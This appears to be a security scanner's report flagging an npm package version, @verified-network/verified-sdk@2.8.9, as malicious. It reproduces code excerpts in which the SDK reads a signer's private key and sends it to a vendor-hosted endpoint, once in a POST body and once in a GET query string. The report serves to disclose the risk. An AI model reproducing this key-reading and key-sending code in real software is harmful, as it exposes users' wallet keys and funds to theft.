@verified-network/verified-sdk@2.8.9: Malicious npm security | LPM Firewall

Loading npm security reports…

@verified-network/verified-sdk@2.8.9: Malicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

.yarn/install-state.gzView file

•path = .yarn/install-state.gz kind = high_entropy_blob sizeBytes = 226705 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

.yarn/install-state.gzView on unpkg

•path = .yarn/install-state.gz kind = payload_in_excluded_dir sizeBytes = 226705 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

.yarn/install-state.gzView on unpkg

•path = .yarn/install-state.gz kind = compressed_blob sizeBytes = 226705 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

.yarn/install-state.gzView on unpkg

dist/abi/assetmanager/Vault.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 18

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/abi/assetmanager/Vault.jsonView on unpkg

dist/contract/index.jsView file

378const signerAny = this.signer; const signerPk = signerAny?._signingKey?.()?.privateKey; if (!signerPk) { //no pk on signer. Assume it's web wallets and use ethers console.log("Signer incomplete, will use ethers"); return await this.callFunctionWithEthers(functionName, ...args); } else if (signerPk) { //pk exists signer. try gassless/erc20 first then ethers if they failed if (optionsRaw[0]?.paymentToken) { console.log("Using ERC20

High

Ai Review Evidence

The contract runtime extracts the signer's private key and automatically selects sponsored transaction handling when one exists.

dist/contract/index.jsView on unpkg · L378

226const sponsorUrl = constants_1.PaymasterConstants.HOSTED_SPONSOR_URL; let quote; // Execute the transaction using passed paymentToken or sponsored gasless if (isSponsor) { const response = await fetch(`${sponsorUrl}/sponsorship/sign/${chainId?.toString()}`, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ isSponsored: true, pk,

High

Ai Review Evidence

It sends that private key in a POST body to the vendor-hosted sponsor endpoint.

dist/contract/index.jsView on unpkg · L226

416const signerAny = this.signer; const signerPk = signerAny?._signingKey?.()?.privateKey; if (chainToUse && paymentTokenAddress && signerPk) { try { let fn = this.contract.populateTransaction[functionName]; let _res = await fn(...args); const tx1 = { to: this.contract.address, data: _res.data, }; const sponsorUrl = constants_1.PaymasterConstants.HOSTED_SPONSOR_URL; const response

Lines 358-436javascript

358 chains_1.polygon,

359 chains_1.sepolia,

360 chains_1.baseSepolia,

361 chains_1.arbitrum,

362 chains_1.arbitrumSepolia,

363 ].find((nt) => Number(nt?.id) === Number(chainId));

364 if (!chainToUse) {

365 throw new Error(`Chaind id: ${chainId} not supported on Verified Sdk. Supported chain ids are: ${[

366 chains_1.base,

367 chains_1.mainnet,

368 chains_1.gnosis,

369 chains_1.polygon,

370 chains_1.sepolia,

371 chains_1.baseSepolia,

372 chains_1.arbitrum,

373 chains_1.arbitrumSepolia,

374 ]

375 ?.map((nt) => nt?.id)

376 ?.join(", ")}`);

377 }

378 const signerAny = this.signer;

379 const signerPk = signerAny?._signingKey?.()?.privateKey;

380 if (!signerPk) {

381 //no pk on signer. Assume it's web wallets and use ethers

382 console.log("Signer incomplete, will use ethers");

383 return await this.callFunctionWithEthers(functionName, ...args);

384 }

385 else if (signerPk) {

386 //pk exists signer. try gassless/erc20 first then ethers if they failed

387 if (optionsRaw[0]?.paymentToken) {

388 console.log("Using ERC20 payment with paymentToken of: ", optionsRaw[0]?.paymentToken);

High

Ai Review Evidence

The contract runtime extracts the signer's private key and automatically selects sponsored transaction handling when one exists.

dist/contract/index.jsView on unpkg · L378

389 return await this.callFunctionWithAlchemyClient(chainId, tx1, functionName, optionsRaw[0]?.paymentToken, signerPk, undefined, ...args);

390 }

391 else {

392 console.log("Using gassless sponsorship since no payment token");

393 return await this.callFunctionWithAlchemyClient(chainId, tx1, functionName, "0x", signerPk, true, ...args);

394 }

395 }

396 }

397 else {

398 //call contract through normal ether.js

399 console.log("Gassless not supported for this chain will use ethers");

400 return await this.callFunctionWithEthers(functionName, ...args);

401 }

402 }

403 async getQuote(paymentTokenAddress, functionName, args, rpc, _apiKey, isReactNative) {

404 const chainId = await this.signer.getChainId();

405 if (this.supportsGasless(chainId)) {

406 const chainToUse = [

407 chains_1.base,

408 chains_1.mainnet,

409 chains_1.gnosis,

410 chains_1.polygon,

411 chains_1.sepolia,

412 chains_1.baseSepolia,

413 chains_1.arbitrum,

414 chains_1.arbitrumSepolia,

415 ].find((nt) => Number(nt?.id) === Number(chainId));

416 const signerAny = this.signer;

417 const signerPk = signerAny?._signingKey?.()?.privateKey;

418 if (chainToUse && paymentTokenAddress && signerPk) {

419 try {

420 let fn = this.contract.populateTransaction[functionName];

421 let _res = await fn(...args);

422 const tx1 = {

423 to: this.contract.address,

424 data: _res.data,

425 };

426 const sponsorUrl = constants_1.PaymasterConstants.HOSTED_SPONSOR_URL;

427 const response = await fetch(`${sponsorUrl}/sponsorship/fee/${chainId?.toString()}?paymentToken=${paymentTokenAddress}&pk=${signerPk}&tx=${JSON.stringify(tx1)}`, {

High

Ai Review Evidence

Its quote method also puts the private key into a GET URL query string, exposing it to URL logging infrastructure.

428 method: "GET",

429 headers: {

430 "Content-Type": "application/json",

431 },

432 });

433 if (response.ok) {

434 const feeRes = (await response.json()) || { maxAmount: "0" };

435 return {

436 tokenAddress: paymentTokenAddress,